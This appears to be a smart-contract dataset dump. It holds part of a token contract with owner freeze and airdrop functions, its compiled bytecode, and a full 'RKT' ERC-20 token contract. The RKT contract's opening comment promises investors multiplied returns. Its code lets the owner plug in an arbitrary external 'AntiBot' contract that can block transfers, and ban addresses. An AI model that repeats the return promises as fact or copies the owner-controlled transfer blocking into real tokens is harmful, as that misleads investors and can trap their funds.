_freezeNotice; emit TokenFrozenUntil(_frozenUntilBlock, _freezeNotice); return true; } /* * @dev Freezes all of the transfers after specified block. * @param _frozenSinceBlock uint256 Number of block after which all of the transfers are frozen. * @param _freezeNotice string Reason for the freeze. */ function freezeTransfersSince(uint256 _frozenSinceBlock, string _freezeNotice) onlyOwner public returns(bool success){ tokenFrozenSinceBlock = _frozenSinceBlock; tokenFrozenSinceNotice = _freezeNotice; emit TokenFrozenSince(_frozenSinceBlock, _freezeNotice); return true; } /* * @dev Reenables the operation before the specified block was reached. * @param _unfreezeNotice string Reason for the unfreeze or explanation of solution. */ function unfreezeTransfersUntil(string _unfreezeNotice) onlyOwner public returns(bool success){ tokenFrozenUntilBlock = 0; tokenFrozenUntilNotice = _unfreezeNotice; emit TokenFrozenUntil(0, _unfreezeNotice); return true; } /* * @dev Reenabling after the freeze since was initiated. * @param _unfreezeNotice string Reason for the unfreeze or the explanation of solution. */ function unfreezeTransfersSince(string _unfreezeNotice) onlyOwner public returns(bool success){ tokenFrozenSinceBlock = (2 ** 256) - 1; tokenFrozenSinceNotice = _unfreezeNotice; emit TokenFrozenSince((2 ** 256) - 1, _unfreezeNotice); return true; } /************ AirDrop part of the SC. ************/ /* * @dev Allocates the specified amount of tokens to the address. * @param _beneficiary address Address of the ouser that receives the tokens. * @param _tokens uint256 Amount of tokens to allocate. */ function airDrop(address _beneficiary, uint256 _tokens) onlyOwner public returns(bool success){ require(!airDropFinished); balances[owner] -= _tokens; balances[_beneficiary] += _tokens; return true; } // @dev Function that irreversively disables airDrop and should be called right after airDrop is completed. function endAirDrop() onlyOwner public returns(bool success){ require(!airDropFinished); airDropFinished = true; return true; } } //JA
0x6080604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303c175ff146101a6578063045f785014610201578063047fc9aa1461026657806306fdde0314610291578063095ea7b31461032157806318160ddd1461038657806323b872dd146103b1578063313ce56714610436578063378dc3dc146104675780633b97e8561461049257806342966c68146104c35780634941d05914610508578063512f9890146105575780635166b68f14610586578063577ccfe0146106075780636a9d02e9146106975780636c02a93114610727578063707bd28b146107b757806370a08231146107e65780637b61c3201461083d5780638da5cb5b146108cd57806390caa2b41461092457806391a67e1e146109bb57806395d89b41146109e6578063a7bf1cbf14610a76578063a9059cbb14610af7578063aa19ed7714610b5c578063d4acfa0114610be7578063dd62ed3e14610c12578063e883618314610c89578063f0c4c33914610cb4578063f2fde38b14610d4b578063f717c31014610d8e575b600080fd5b3480156101b257600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b604051808215151515815260200191505060405180910390f35b34801561020d57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e6f565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b610fad565b6040518082815260200191505060405180910390f35b34801561029d57600080fd5b506102a6610fb3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e65780820151818401526020810190506102cb565b50505050905090810190601f1680156103135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032d57600080fd5b5061036c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611051565b604051808215151515815260200191505060405180910390f35b34801561039257600080fd5b5061039b6111cd565b6040518082815260200191505060405180910390f35b3480156103bd57600080fd5b5061041c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d7565b604051808215151515815260200191505060405180910390f35b34801561044257600080fd5b5061044b611674565b604051808260ff1660ff16815260200191505060405180910390f35b34801561047357600080fd5b5061047c611687565b6040518082815260200191505060405180910390f35b34801561049e57600080fd5b506104a761168d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104cf57600080fd5b506104ee600480360381019080803590602001909291905050506116a4565b604051808215151515815260200191505060405180910390f35b34801561051457600080fd5b50610555600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611803565b005b34801561056357600080fd5b5061056c6119d8565b604051808215151515815260200191505060405180910390f35b34801561059257600080fd5b506105ed600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506119eb565b604051808215151515815260200191505060405180910390f35b34801561061357600080fd5b5061061c611b15565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065c578082015181840152602081019050610641565b50505050905090810190601f1680156106895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a357600080fd5b506106ac611bb3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106ec5780820151818401526020810190506106d1565b50505050905090810190601f1680156107195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561073357600080fd5b5061073c611c51565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077c578082015181840152602081019050610761565b50505050905090810190601f1680156107a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c357600080fd5b506107cc611cf3565b604051808215151515815260200191505060405180910390f35b3480156107f257600080fd5b50610827600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d8e565b6040518082815260200191505060405180910390f35b34801561084957600080fd5b50610852611dd7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610892578082015181840152602081019050610877565b50505050905090810190601f1680156108bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d957600080fd5b506108e2611e79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093057600080fd5b50610939611e9e565b6040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561097f578082015181840152602081019050610964565b50505050905090810190601f1680156109ac5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156109c757600080fd5b506109d0611f4b565b6040518082815260200191505060405180910390f35b3480156109f257600080fd5b506109fb611f51565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a3b578082015181840152602081019050610a20565b50505050905090810190601f168015610a685780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a8257600080fd5b50610add600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611fef565b604051808215151515815260200191505060405180910390f35b348015610b0357600080fd5b50610b42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612157565b604051808215151515815260200191505060405180910390f35b348015610b6857600080fd5b50610bcd60048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506124de565b604051808215151515815260200191505060405180910390f35b348015610bf357600080fd5b50610bfc612607565b6040518082815260200191505060405180910390f35b348015610c1e57600080fd5b50610c73600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061260d565b6040518082815260200191505060405180910390f35b348015610c9557600080fd5b50610c9e612694565b6040518082815260200191505060405180910390f35b348015610cc057600080fd5b50610cc961269a565b6040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d0f578082015181840152602081019050610cf4565b50505050905090810190601f168015610d3c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b348015610d5757600080fd5b50610d8c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612747565b005b348015610d9a57600080fd5b50610dff60048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506127e5565b604051808215151515815260200191505060405180910390f35b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ecc57600080fd5b600c60009054906101000a900460ff16151515610ee857600080fd5b81600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506001905092915050565b60095481565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110495780601f1061101e57610100808354040283529160200191611049565b820191906000526020600020905b81548152906001019060200180831161102c57829003601f168201915b505050505081565b6000600354431015806110b057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110bb57600080fd5b60015443101515156110cc57600080fd5b60025443111515156110dd57600080fd5b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600954905090565b60006003544310158061123657506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561124157600080fd5b600154431015151561125257600080fd5b600254431115151561126357600080fd5b8260008173ffffffffffffffffffffffffffffffffffffffff161415151561128a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112c557600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561131e57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561137757600080fd5b82600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113c557600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561145457600080fd5b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156114df57600080fd5b82600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600760009054906101000a900460ff1681565b60085481565b6000600760009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170157600080fd5b81600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561174f57600080fd5b81600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816009600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185e57600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b55750805b156119165780600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506119d4565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561196d575080155b156119ce5780600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506119d3565b600080fd5b5b5050565b600c60009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a4857600080fd5b600060018190555081600a9080519060200190611a6692919061290e565b507f6ea1eb4c075a2ebef4967afe3ef96b6b55f1c6708eee610c66ec25fe122ed1d06000836040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ad1578082015181840152602081019050611ab6565b50505050905090810190601f168015611afe5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a160019050919050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bab5780601f10611b8057610100808354040283529160200191611bab565b820191906000526020600020905b815481529060010190602001808311611b8e57829003601f168201915b505050505081565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c495780601f10611c1e57610100808354040283529160200191611c49565b820191906000526020600020905b815481529060010190602001808311611c2c57829003601f168201915b505050505081565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ce95780601f10611cbe57610100808354040283529160200191611ce9565b820191906000526020600020905b815481529060010190602001808311611ccc57829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d5057600080fd5b600c60009054906101000a900460ff16151515611d6c57600080fd5b6001600c60006101000a81548160ff0219169083151502179055506001905090565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e6f5780601f10611e4457610100808354040283529160200191611e6f565b820191906000526020600020905b815481529060010190602001808311611e5257829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006060600154600a808054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f3c5780601f10611f1157610100808354040283529160200191611f3c565b820191906000526020600020905b815481529060010190602001808311611f1f57829003601f168201915b50505050509050915091509091565b60015481565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fe75780601f10611fbc57610100808354040283529160200191611fe7565b820191906000526020600020905b815481529060010190602001808311611fca57829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561204c57600080fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60028190555081600b908051906020019061208992919061290e565b507f1dafb4d559b2fe7532a80a90df43b92eb74d11ec1125b7fe200827e1585d21297fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff836040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121135780820151818401526020810190506120f8565b50505050905090810190601f1680156121405780820380516001836020036101000a031916815260200191505b50935050505060405180910390a160019050919050565b6000600354431015806121b657506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156121c157600080fd5b60015443101515156121d257600080fd5b60025443111515156121e357600080fd5b8260008173ffffffffffffffffffffffffffffffffffffffff161415151561220a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561224557600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561229e57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156122f757600080fd5b82600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561234557600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156123d457600080fd5b82600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561253b57600080fd5b8260018190555081600a908051906020019061255892919061290e565b507f6ea1eb4c075a2ebef4967afe3ef96b6b55f1c6708eee610c66ec25fe122ed1d083836040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156125c25780820151818401526020810190506125a7565b50505050905090810190601f1680156125ef5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a16001905092915050565b60025481565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60035481565b60006060600254600b808054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127385780601f1061270d57610100808354040283529160200191612738565b820191906000526020600020905b81548152906001019060200180831161271b57829003601f168201915b50505050509050915091509091565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127a257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284257600080fd5b8260028190555081600b908051906020019061285f92919061290e565b507f1dafb4d559b2fe7532a80a90df43b92eb74d11ec1125b7fe200827e1585d212983836040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156128c95780820151818401526020810190506128ae565b50505050905090810190601f1680156128f65780820380516001836020036101000a031916815260200191505b50935050505060405180910390a16001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061294f57805160ff191683800117855561297d565b8280016001018555821561297d579182015b8281111561297c578251825591602001919060010190612961565b5b50905061298a919061298e565b5090565b6129b091905b808211156129ac576000816000905550600101612994565b5090565b905600a165627a7a7230582016bdd8402a535b04e56a96702f1e58f70a852467270d4334de9270a2139ce7b00029
{"success": true, "error": null, "results": {}}
7,317
0xb800488aef3783dcaed864b88e8e7a8cb5ec89c5
/* RocketV1 - is an opportunity for you to multiply your capital at times. After the start of trading, as soon as the capitalization is 30 ETH, we make the coin liquidity lock by 85% (so that 15% of the capitalization is given for sale). Thus, we will go to the accumulation of investors and the growth of prices. RocketV2 - After the results of our first launch version, our developers will complete this version and we will transfer all assets multiplied by 2 to this version. In this version, everyone who keeps our coin gets 20% reflected from the sale of EACH COIN. There will be many interesting things - stay with us! ANTIBot = ON; */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private m_Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); m_Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return m_Owner; } modifier onlyOwner() { require(_msgSender() == m_Owner, "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface FTPAntiBot { function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender) external; } contract RKT is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private constant TOTAL_SUPPLY = 100000000000000 * 10**9; string private m_Name = "RKT | t.me/Roknv1"; string private m_Symbol = "RKTv1"; uint8 private m_Decimals = 9; uint256 private m_BanCount = 0; uint256 private m_TxLimit = 500000000000 * 10**9; uint256 private m_SafeTxLimit = m_TxLimit; uint256 private m_WalletLimit = m_SafeTxLimit.mul(4); uint256 private m_TaxFee; uint8 private m_DevFee = 5; address payable private m_FeeAddress; address private m_UniswapV2Pair; bool private m_TradingOpened = false; bool private m_IsSwap = false; bool private m_SwapEnabled = false; bool private m_AntiBot = true; mapping (address => bool) private m_Bots; mapping (address => bool) private m_Staked; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; FTPAntiBot private AntiBot; IUniswapV2Router02 private m_UniswapV2Router; event MaxOutTxLimit(uint MaxTransaction); event BanAddress(address Address, address Origin); modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } receive() external payable {} constructor () { FTPAntiBot _antiBot = FTPAntiBot(0x590C2B20f7920A2D21eD32A21B616906b4209A43); // AntiBot AntiBot = _antiBot; m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), owner(), TOTAL_SUPPLY); } // #################### // ##### DEFAULTS ##### // #################### function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } // ##################### // ##### OVERRIDES ##### // ##################### function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } // #################### // ##### PRIVATES ##### // #################### function _readyToTax(address _sender) private view returns(bool) { return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled; } function _pleb(address _sender, address _recipient) private view returns(bool) { return _sender != owner() && _recipient != owner() && m_TradingOpened; } function _senderNotUni(address _sender) private view returns(bool) { return _sender != m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns(bool) { return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns(bool) { return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router); } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_recipient != address(0), "ERC20: transfer to the zero address"); require(_amount > 0, "Transfer amount must be greater than zero"); uint8 _fee = _setFee(_sender, _recipient); uint256 _feeAmount = _amount.div(100).mul(_fee); uint256 _newAmount = _amount.sub(_feeAmount); if(m_AntiBot) { if((_recipient == m_UniswapV2Pair || _sender == m_UniswapV2Pair) && m_TradingOpened){ require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); } } if(_walletCapped(_recipient)) require(balanceOf(_recipient) < m_WalletLimit); if (_pleb(_sender, _recipient)) { if (_txRestricted(_sender, _recipient)) require(_amount <= m_TxLimit); _tax(_sender); } m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_feeAmount); emit Transfer(_sender, _recipient, _newAmount); if(m_AntiBot) AntiBot.registerBlock(_sender, _recipient); } function _setFee(address _sender, address _recipient) private returns(uint8){ bool _takeFee = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]); if(!_takeFee) m_DevFee = 0; if(_takeFee) m_DevFee = 5; return m_DevFee; } function _tax(address _sender) private { uint256 _tokenBalance = balanceOf(address(this)); if (_readyToTax(_sender)) { _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _disperseEth() private { m_FeeAddress.transfer(address(this).balance); } // #################### // ##### EXTERNAL ##### // #################### function banCount() external view returns (uint256) { return m_BanCount; } function checkIfBanned(address _address) external view returns (bool) { // Tool for traders to verify ban status bool _banBool = false; if(m_Bots[_address]) _banBool = true; return _banBool; } // ###################### // ##### ONLY OWNER ##### // ###################### function addLiquidity() external onlyOwner() { require(!m_TradingOpened,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); m_UniswapV2Router = _uniswapV2Router; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); m_SwapEnabled = true; m_TradingOpened = true; IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max); } function setTxLimitMax() external onlyOwner() { m_TxLimit = m_WalletLimit; m_SafeTxLimit = m_WalletLimit; emit MaxOutTxLimit(m_TxLimit); } function manualBan(address _a) external onlyOwner() { m_Bots[_a] = true; } function removeBan(address _a) external onlyOwner() { m_Bots[_a] = false; } function contractBalance() external view onlyOwner() returns (uint256) { return address(this).balance; } function setFeeAddress(address payable _feeAddress) external onlyOwner() { m_FeeAddress = _feeAddress; m_ExcludedAddresses[_feeAddress] = true; } function assignAntiBot(address _address) external onlyOwner() { FTPAntiBot _antiBot = FTPAntiBot(_address); AntiBot = _antiBot; } function toggleAntiBot() external onlyOwner() returns (bool){ bool _localBool; if(m_AntiBot){ m_AntiBot = false; _localBool = false; } else{ m_AntiBot = true; _localBool = true; } return _localBool; } }
